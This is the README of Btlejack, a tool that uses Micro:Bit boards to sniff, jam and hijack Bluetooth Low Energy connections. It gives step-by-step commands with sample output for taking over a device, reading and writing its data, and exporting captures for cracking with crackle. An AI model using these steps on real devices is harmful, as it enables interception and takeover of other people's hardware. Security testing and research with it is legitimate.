Btlejack provides everything you need to sniff, jam and hijack Bluetooth Low Energy devices. It relies on one or more [BBC Micro:Bit](http://microbit.org/) devices running a dedicated firmware.
This tool only supports Bluetooth Low Energy 4.x.
First, install the btlejack Python3 client software with Pip:
$ sudo pip3 install btlejack
Then, connect your Micro:Bit device to your computer with a USB cable, mount the associated mass storage device, and issue the following command:
$ btlejack -i
This will program every Micro:Bit device connected to your computer, and make them ready to use with Btlejack. It will use the correct firmware version for the current client software, so it is highly recommended to perform this firmware installation procedure each time you update Btlejack.
Keep your microbits connected and you're all set !
Using Btlejack is quite easy. Btlejack can:
- sniff an existing BLE connection
- sniff new BLE connections
- jam an existing BLE connection
- hijack an existing BLE connection
- export captured packets to various PCAP formats
First, find an existing connection to target with btlejack:
$ btlejack -s BtleJack version 1.1 [i] Enumerating existing connections ... [ - 54 dBm] 0xcd91d517 | pkts: 1 [ - 46 dBm] 0xcd91d517 | pkts: 2
The first value (in dBm) shows the power of the signal, the greater this value is the better the sniffed connection will be.
The second value (hex) is the associated access address, a 32-bit value identifying a link between two bluetooth low energy compatible devices.
The last value is the number of packets seen with this access address. The higher this value is, the more probable the corresponding access address is used.
Then, use the -f option to follow a specific connection:
$ btlejack -f 0xdda4845e BtleJack version 1.1 [i] Detected sniffers: > Sniffer #0: fw version 1.1 [i] Synchronizing with connection 0xdda4845e ... ✓ CRCInit: 0x2a035e ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 15 [i] Synchronized, packet capture in progress ... LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70 LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70
If you are using more than 1 microbit, Btlejack will parallelize some of the sniffing operations in order to speed up the connection parametres recovery !
The -c option supported by btlejack allows you to specify the target BD address, or you may want to use any to capture any new connection created.
$ btlejack -c any BtleJack version 1.1 [i] Detected sniffers: > Sniffer #0: version 1.1 > Sniffer #1: version 1.1 LL Data: 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b [i] Got CONNECT_REQ packet from 55:c5:95:6f:b4:df to 40:23:99:f6:0a:c0 |-- Access Address: 0x0a2f7b1d |-- CRC Init value: 0x93f49a |-- Hop interval: 39 |-- Hop increment: 11 |-- Channel Map: 1fffffffff |-- Timeout: 20000 ms LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 0b 06 0c 08 0f 00 09 41 LL Data: 03 06 0c 07 1d 00 d3 07
or you may also want to specify the target BD address:
$ btlejack -c 03:e1:f0:00:11:22
If you connect at least 3 microbits at the same time on your computer, Btlejack will be able to sniff on every advertising channels and has far more chance to capture the connection request.
Once a connection identified by its access address, you can provide jam it by using the -j option:
$ btlejack -f 0x129f3244 -j̀
Btlejack is also able to hijack an existing connection, use the -t option to do so. Once hijacked, Btlejack will give you a prompt allowing you to interact with the hijacked device.
First, hijack an existing connection:
$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffff BtleJack version 1.1 [i] Using cached parameters (created on 2018-08-11 01:48:24) [i] Detected sniffers: > Sniffer #0: fw version 1.1 [i] Synchronizing with connection 0x9c68fd30 ... ✓ CRCInit: 0x81f733 ✓ Channel map is provided: 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 9 [i] Synchronized, hijacking in progress ... [i] Connection successfully hijacked, it is all yours \o/ btlejack>
Then use the following commands to interact with the device: - discover: performs services and characteristics enumeration, will give you all the information about services and characteristics - write: write data to a specific value handle - read: read data from a specific value handle - ll: sends a raw link-layer packet (for ninjas)
The discover command will send and receive Bluetooth LE packets and retrieve all the services UUIDs and parameters, as well as characteristics UUIDs and parameters:
btlejack> discover start: 0001 end: 0005 start: 0014 end: 001a start: 0028 end: ffff Discovered services: Service UUID: 1801 Characteristic UUID: 2a05 | handle: 0002 | properties: indicate (20) \ value handle: 0003 Service UUID: 1800 Characteristic UUID: 2a04 | handle: 0019 | properties: read (02) \ value handle: 001a Characteristic UUID: 2a00 | handle: 0015 | properties: read (02) \ value handle: 0016 Characteristic UUID: 2a01 | handle: 0017 | properties: read (02) \ value handle: 0018 Service UUID: 1824 Characteristic UUID: 2abc | handle: 0029 | properties: write indicate (28) \ value handle: 002a
The read command accepts a single parameter, the value handle corresponding to the characteristic you want to read from:
btlejack> read 0x16 read>> 4c 47 20 77 65 62 4f 53 20 54 56
The write command accepts three parameters:
btlejack> write <value handle> <data format> <data>
Supported data formats:
hex: hex data (i.e. "414261")str: text string, may be encapsulated in double quotes
This last command allows you to send Bluetooth Low Energy Link-layer PDUs, in hex form, as specified in Volume 6, Part B, Chapter 2.4.
One interesting feature of Btlejack is the possibility to export the captured data to a PCAP file.
Btlejack supports the following DLT formats:
- DLT_BLUETOOTH_LE_LL_WITH_PHDR (same)
- DLT_NORDIC_BLE (the one used by Nordic' sniffer)
- DLT_BLUETOOTH_LE_LL (supported on latest versions of Wireshark)
The output file may be specified using the -o option, while the output format may be specified with the -x option. Valid formats values are: ll_phdr, nordic, or pcap (default).
$ btlejack -f 0xac56bc12 -x nordic -o capture.nordic.pcap
The ll_phdr export type is useful when sniffing an encrypted connection, as it is also supported by crackle. So if you want to sniff and break encrypted connections, this is the way to go.
You may also need to tell crackle to use a specific cracking strategy, by using the -s option:
$ crackle -i some.pcap -s 1